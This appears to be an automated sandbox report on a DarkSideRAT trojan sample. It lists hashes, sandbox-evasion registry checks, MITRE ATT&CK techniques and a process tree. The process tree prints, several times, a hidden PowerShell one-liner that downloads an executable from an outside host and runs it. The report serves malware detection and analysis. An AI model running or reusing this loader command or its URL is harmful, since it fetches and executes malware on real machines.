darksiderat | 6001f3feca2243b39550842e30b06ef760cfbcf1ea22f3f156451a950de2bca2

General

Target
k300mrv.exe
Size 3.1MB
Sample260805-hzpehack4t
SHA256 6001f3feca2243b39550842e30b06ef760cfbcf1ea22f3f156451a950de2bca2
MD5 c0486344e7f93aab6803a072220a8795
SHA1 331134c924f9c549f68116c7d0566dbe5c0a57c7
SHA512 11ec7c51064defdb96558acc3355f5dbe2bb72a76423e2b64d674ea3f10cd94b02078733a95a5b99c616abeedd6bb1892fda7e4d89c0f07b1b41be72c9ea478e
SSDEEP 49152:ONEOdxOMlP98UajkM7nDGal4UDbTqMxtlDsaUc5i+jzeDYDK1+vgJM34:O9habd2AdxdsDOwM3
TLSH
T17CE5F103E35682E8C56B9538C6BA9F1BF7707840132497EB22E12E256F57AF01E7B351
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral1/files/0x000c000000024584-14.dat	family_darksiderat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4976	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4976	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	4976	powershell.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	k300mrv.exe

Executes dropped EXE 1 IoCs

pid	Process
1212	BK361367.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1084	cmd.exe
2164	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	k300mrv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	k300mrv.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	k300mrv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardProduct	k300mrv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	k300mrv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemBiosUUID	k300mrv.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4976	powershell.exe
4976	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4976	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3300	k300mrv.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3300 wrote to memory of 1084	3300	k300mrv.exe	86
PID 1084 wrote to memory of 2164	1084	cmd.exe	88
PID 2164 wrote to memory of 4976	2164	cmd.exe	92
PID 4976 wrote to memory of 1212	4976	powershell.exe	94

C:\Users\Admin\AppData\Local\Temp\k300mrv.exe
"C:\Users\Admin\AppData\Local\Temp\k300mrv.exe"
1⤵
- Checks BIOS information in registry
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK361367.exe; Start-Process -FilePath $env:APPDATA\BK361367.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK361367.exe; Start-Process -FilePath $env:APPDATA\BK361367.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2164
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK361367.exe; Start-Process -FilePath $env:APPDATA\BK361367.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4976
    - - C:\Users\Admin\AppData\Roaming\BK361367.exe
        
        "C:\Users\Admin\AppData\Roaming\BK361367.exe"
        5⤵
        Executes dropped EXE
        
        PID:1212

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_t3tfqm1w.0yc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t3tfqm1w.0yc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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BK361367.exe

Path C:\Users\Admin\AppData\Roaming\BK361367.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/4976-0-0x00000298B9020000-0x00000298B9030000-memory.dmp

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memory/4976-1-0x00000298B9020000-0x00000298B9030000-memory.dmp

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memory/4976-2-0x00000298A0EB0000-0x00000298A0ED2000-memory.dmp

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memory/4976-20-0x00000298BB210000-0x00000298BB35E000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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